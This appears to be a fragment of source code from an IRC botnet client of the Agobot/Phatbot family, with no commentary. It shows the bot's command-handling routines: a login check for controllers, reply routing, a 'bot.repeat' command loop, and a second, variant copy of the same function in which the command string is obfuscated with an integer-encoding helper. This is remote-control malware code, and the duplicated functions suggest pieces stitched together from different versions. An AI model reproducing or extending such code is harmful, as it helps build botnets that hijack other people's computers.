bool CBot::HandleMsg(CMessage *pMsg) { // If it's no login command and the user isn't logged in yet, break if(pMsg->sCmd.Compare("login") && !g_pMainCtrl->m_cMac.FindLogin(pMsg->sSrc)) return false; else { // If the user isn't logged in yet, bot_seclogin is enabled and its no channel message, break; if(!g_pMainCtrl->m_cMac.FindLogin(pMsg->sSrc)) if(bot_seclogin.bValue) if(pMsg->sDest[0]!='#') return false; return HandleMsgInt(pMsg); } }
void CBot::Recv(CMessage *pMsg, bool bInternal) { #ifdef DBGCONSOLE if(pMsg->sDest[0]=='#') g_pMainCtrl->m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); else g_pMainCtrl->m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); #endif if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); else pMsg->sReplyTo.Assign(pMsg->sSrc); if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc); if(pMsg->bOutchan) { CString sOutchan; sOutchan.Assign(pMsg->sChatString.Mid(pMsg->sChatString.Find(" -o")+3)); pMsg->sReplyTo.Assign(sOutchan); } pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); // Check if its a bot command by comparing the first byte to the bot_prefix value if(pMsg->sChatString[0]==bot_prefix.sValue[0]) { if(!pMsg->sCmd.Compare("bot.repeat")) { if(!pMsg->sChatString.Token(1, " ").Compare("")) return; int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return; CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' ')); sNewCStr=sNewCStr.Mid(sNewCStr.Find(' ')); pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); if(!bInternal) for(i=0;i<iNum;i++) HandleMsg(pMsg); else for(i=0;i<iNum;i++) HandleMsgInt(pMsg); } else if(!bInternal) HandleMsg(pMsg); else HandleMsgInt(pMsg); } else if(pMsg->sChatString.Token(0, " ").Find(g_pMainCtrl->m_sUserName)) { // botname .command mod - deejayfuzion CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' ')); pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ")); this->Recv(pMsg, bInternal); } else { // fallback handler HandleFallBack(pMsg); } }
void CBot::Recv(CMessage *pMsg, bool bInternal) { #ifdef DBGCONSOLE if(pMsg->sDest[0]=='#') g_cMainCtrl.m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); else g_cMainCtrl.m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); #endif if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); else pMsg->sReplyTo.Assign(pMsg->sSrc); if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc); if(pMsg->bOutchan) { CString sOutchan; sOutchan.Assign(pMsg->sChatString.Mid(pMsg->sChatString.Find(" -o")+3)); pMsg->sReplyTo.Assign(sOutchan); } pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); // Check if its a bot command by comparing the first byte to the bot_prefix value if(pMsg->sChatString[0]==bot_prefix.sValue[0]) { if(!pMsg->sCmd.Compare(dp(2,15,20,78,18,5,16,5,1,20,0).CStr()) && g_cMainCtrl.m_cMac.FindLogin(pMsg->sSrc)) { if(!pMsg->sChatString.Token(1, " ").Compare("")) return; int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return; CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' ')); sNewCStr=sNewCStr.Mid(sNewCStr.Find(' ')); pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); if(!bInternal) for(i=0;i<iNum;i++) HandleMsg(pMsg); else for(i=0;i<iNum;i++) HandleMsgInt(pMsg); } else if(!bInternal) HandleMsg(pMsg); else HandleMsgInt(pMsg); } }